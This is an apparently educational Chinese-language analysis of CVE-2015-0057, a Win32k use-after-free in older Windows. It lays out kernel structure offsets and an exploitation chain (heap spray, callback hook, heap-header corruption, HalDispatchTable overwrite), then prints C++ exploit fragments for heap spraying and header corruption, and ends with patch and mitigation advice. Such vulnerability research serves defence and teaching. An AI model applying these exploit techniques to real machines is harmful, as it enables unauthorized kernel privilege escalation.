【经典漏洞回顾】Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)
字数 2191 2025-08-18 17:33:28
Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)教学文档
一、漏洞概述
1.1 漏洞基本信息
- 漏洞名称: Microsoft Windows Win32k Local Privilege Escalation Vulnerability
- 漏洞编号: CVE-2015-0057
- 漏洞类型: Use-After-Free (UAF)
- 影响范围: 本地特权提升
- CVSS评分: 7.2 (CVSS2.0)
1.2 受影响版本
- Windows Server 2003 SP2
- Windows Server 2008 SP2
- Windows Server 2008 R2 SP1
- Windows Vista SP2
- Windows Server 2012
- Windows Server 2012 R2
- Windows 7 SP1
- Windows 8
- Windows 8.1
- Windows RT
- Windows RT 8.1
1.3 漏洞组件
- 漏洞组件: win32k.sys
- 组件作用: Windows多用户管理的系统文件
二、漏洞背景知识
2.1 关键数据结构
2.1.1 tagWND结构
- 位置: win32k.sys中的窗口对象结构
- 关键偏移:
- +0xA8: ppropList (tagPROPLIST指针)
- +0xB0: pSBInfo (tagSBINFO指针)
- +0xB8: spmenuSys (tagMENU指针)
- +0xC0: spmenu (tagMENU指针)
- +0xD8: strName (_LARGE_UNICODE_STRING)
2.1.2 tagSBINFO结构
- 大小: 0x24字节
- 位置: tagWND+0xB0
- 作用: 滚动条信息结构
2.1.3 tagPROPLIST结构
- 位置: tagWND+0xA8
- 作用: 窗口属性列表
2.1.4 tagPROP结构
- 作用: 窗口属性项
2.1.5 _LARGE_UNICODE_STRING
- 位置: tagWND+0xD8
- 初始化: 通过RtlInitLargeUnicodeString函数
- 设置: 通过NtUserDefSetText设置tagWND的strName字段
2.1.6 tagMENU结构
- 位置: tagWND+0xB8和tagWND+0xC0
- 作用: 菜单对象
2.1.7 _HEAP_ENTRY
- 大小: 0x10字节
- 作用: 堆头结构
- 关键字段:
- +0x008: Size (2字节)
- +0x00b: SmallTagIndex (1字节)
- +0x00c: PreviousSize (2字节)
三、漏洞分析
3.1 漏洞函数
- 漏洞函数: xxxEnableWndSBArrows
- 漏洞原因: 在用户态回调期间未正确验证对象状态,导致UAF
3.2 漏洞利用流程
-
堆喷布局:
- 通过堆喷将一段堆空间覆盖成大量tagWND+tagPROPLIST结构
- 其中一块是tagWND+tagSBINFO结构
-
用户态回调:
- 通过xxxDrawScrollBar触发用户态回调
- 在回调中hook _ClientLoadLibrary函数
- 释放自定义回调的tagWND
- 通过setPROP重新申请内存
-
类型混淆:
- 原tagSBINFO(0x28+0x8)变为tagPROPLIST+tagPROP(0x18+0x10+0x8)
- 系统将cEntries由0x2改为0xe,导致缓冲区溢出
-
堆头覆盖:
- 覆盖后续的_heap_entry结构
- 修改堆块大小标识符,使后续tagMENU空间也被包含
- 释放并重新分配,造成二次UAF
-
任意写:
- 使用SetMenuItemInfoA修改rgItems字段实现任意写
- 写入shellcode指针到HalDispatchTable+0x8位置
- 通过ROP执行shellcode完成提权
3.3 补丁分析
补丁在xxxEnableWndSBArrows函数中增加了对rbx和rsi+0xb0值的比较验证,确保对象状态正确。
四、漏洞复现
4.1 环境准备
- 操作系统: Windows 7 SP1 x86或Windows 8.1 x64
- win32k.sys版本:
- 6.1.7601.17514 (Win7)
- 6.3.9600.17393 (Win8.1)
4.2 复现步骤
- 创建窗口
- 调用EnableScrollBar(参数为3)
- 调用CreateWindowExA
- 设置ShowWindow和UpdateWindow使窗口可见
- Hook _ClientLoadLibrary并DestroyWindow
五、EXP分析
5.1 关键代码片段
5.1.1 堆喷函数
BOOL SprayObject() {
// 构建两个覆盖结构
CHAR o1str[OVERLAY1_SIZE - _HEAP_BLOCK_SIZE] = {0};
CHAR o2str[OVERLAY2_SIZE - _HEAP_BLOCK_SIZE] = {0};
LARGE_UNICODE_STRING o1lstr, o2lstr;
// 构建第一个覆盖
memset(o1str, '\x43', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
RtlInitLargeUnicodeString(&o1lstr, (WCHAR*)o1str, (UINT)-1, OVERLAY1_SIZE - _HEAP_BLOCK_SIZE - 2);
// 构建第二个覆盖
memset(o2str, '\x41', OVERLAY2_SIZE - _HEAP_BLOCK_SIZE);
*(DWORD*)o2str = 0x00000000;
*(DWORD*)(o2str + 4) = 0x00000000;
*(DWORD*)(o2str + 8) = 0x00010000 + OVERLAY2_SIZE;
*(DWORD*)(o2str + 12) = 0x10000000 + ((OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10);
// 设置属性列表和菜单对象
for(SHORT i = 0; i < SHORT(MAX_OBJECTS - 0x20); i++) {
SetPropA(spray_step_one[i], (LPCSTR)(i + 0x1000), (HANDLE)0xBBBBBBBBBBBBBBBB);
if((i % 0x150) == 0) {
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o1lstr);
}
hmenutab[i] = CreateMenu();
if((i % 0x150) == 0)
NtUserDefSetText(spray_step_one[MAX_OBJECTS - (unused_win_index--)], &o2lstr);
}
// 插入菜单项
for(SHORT i = 0; i < MAX_OBJECTS - 0x20; i++) {
MENUITEMINFOA mii;
mii.cbSize = sizeof(MENUITEMINFO);
mii.fMask = MIIM_ID;
mii.wID = 0xBEEFBEEF;
InsertMenuItemA(hmenutab[i], 0, TRUE, &mii);
}
return TRUE;
}
5.1.2 堆头破坏函数
VOID CorruptHeapHeader(PVOID menu_addr) {
// 解码堆头
ULONG_PTR xored_header = (ULONG_PTR)menu_addr - OVERLAY1_SIZE - _HEAP_BLOCK_SIZE;
string decoded_header = XOR(string((CHAR*)xored_header, 16), xorKey);
// 修改堆头大小和校验和
CHAR* tmp_header = (CHAR*)decoded_header.c_str();
tmp_header[8] = (OVERLAY1_SIZE + MENU_SIZE + _HEAP_BLOCK_SIZE)/0x10; // 新大小
tmp_header[11] = tmp_header[8] ^ tmp_header[9] ^ tmp_header[10]; // 新校验和
// 重新编码并覆盖堆头
string new_heap_header = XOR(decoded_header, xorKey);
for(int i = 0; i < MAX_FAKE_OBJECTS; i++)
SetPropA(spray_step_three[i], (LPCSTR)0x07, (HANDLE)*(ULONG_PTR*)(new_heap_header.c_str() + 8));
}
5.1.3 创建新菜单函数
VOID MakeNewMenu(PVOID menu_addr, CHAR* new_objects, LARGE_UNICODE_STRING* new_objs_lstr, PVOID addr) {
memset(new_objects, '\xAA', OVERLAY1_SIZE - _HEAP_BLOCK_SIZE);
memcpy(new_objects + OVERLAY1_SIZE - _HEAP_BLOCK_SIZE,
(CHAR*)menu_addr - _HEAP_BLOCK_SIZE,
MENU_SIZE + _HEAP_BLOCK_SIZE);
// 修改_MENU.rgItems值
*(ULONG_PTR*)(BYTE*)&new_objects[OVERLAY1_SIZE + MENU_ITEMS_ARRAY_OFFSET] = (ULONG_PTR)addr;
RtlInitLargeUnicodeString(new_objs_lstr, (WCHAR*)new_objects, (UINT)-1, OVERLAY1_SIZE + MENU_SIZE - 2);
}
六、防御措施
- 官方补丁: 应用Microsoft安全更新MS15-010
- 缓解措施:
- 启用DEP(数据执行保护)
- 启用ASLR(地址空间布局随机化)
- 限制低权限用户的系统访问